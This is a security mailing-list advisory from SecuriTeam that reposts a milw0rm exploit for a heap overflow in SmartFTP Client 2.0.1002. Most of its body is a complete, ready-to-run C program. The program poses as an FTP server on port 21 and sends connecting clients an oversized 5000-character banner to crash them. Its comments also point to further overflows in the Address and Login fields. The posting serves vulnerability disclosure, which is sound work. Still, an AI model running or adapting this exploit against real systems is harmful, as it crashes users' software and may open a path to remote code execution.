[EXPL] SmartFTP Client Heap Overflow DoS (Exploit)



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



SmartFTP Client Heap Overflow DoS (Exploit)
------------------------------------------------------------------------


SUMMARY

There is remote heap overflow in SmartFTP. When the application receives a
long banner the heap is smashed, leading to DoS and probably to code
execution.

DETAILS

Vulnerable Systems:
* SmartFTP Client version 2.0.1002

Exploit:
/*************************************
* SmartFTP Client v 2.0.1002 Heap Overflow DoS
*
*
*
*
*
* There is remote heap overflow in SmartFTP. When the app receives a long
*
* banner (5000 char) the heap is smashed, leading to DoS and to code
*
* execution.
*
*
*
* There are also two buffer overflow in the fields Address and Login.
*
* I've reported this to Secunia but it seems they didn't think it was dan-
*
* gerous cause they didn't publish anything about. However a simple drag'n
*
* drop could compromise your system...
*
*
*
* Have Fun!
*
*
*
* Coded by Marsu <Marsupilamipowa@xxxxxxxxxx>
*
**************************************



#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#pragma comment(lib, "ws2_32.lib")

int main(int argc, char* argv[])
{

char evilbuff[5000];
sockaddr_in sin;
int server,client;
WSADATA wsaData;
WSAStartup(MAKEWORD(1,1), &wsaData);

server = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
sin.sin_family = PF_INET;
sin.sin_addr.s_addr = htonl(INADDR_ANY);
sin.sin_port = htons( 21 );
bind(server,(SOCKADDR*)&sin,sizeof(sin));
printf("[*] Listening on port 21...\n");
listen(server,5);
printf("[*] Waiting for client ...\n");
client=accept(server,NULL,NULL);
printf("[+] Client connected\n");

memset(evilbuff,'A',5000);
memcpy(evilbuff,"220 ",4);
memcpy(evilbuff+4997,"\r\n\0",3);

if (send(client,evilbuff,strlen(evilbuff),0)==-1)
{
printf("[-] Error in send!\n");
exit(-1);
}
printf("[+] Data sent\n");

Sleep(1500);

if (send(client,"boom?",5,0)==-1)
printf("[+] Crashed? Crashed!\n");
else
printf("[-] Exploit failed!\n");

return 0;
}


ADDITIONAL INFORMATION

The information has been provided by milw0rm.
The original article can be found at:
<http://www.milw0rm.com/exploits/3277>
http://www.milw0rm.com/exploits/3277



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages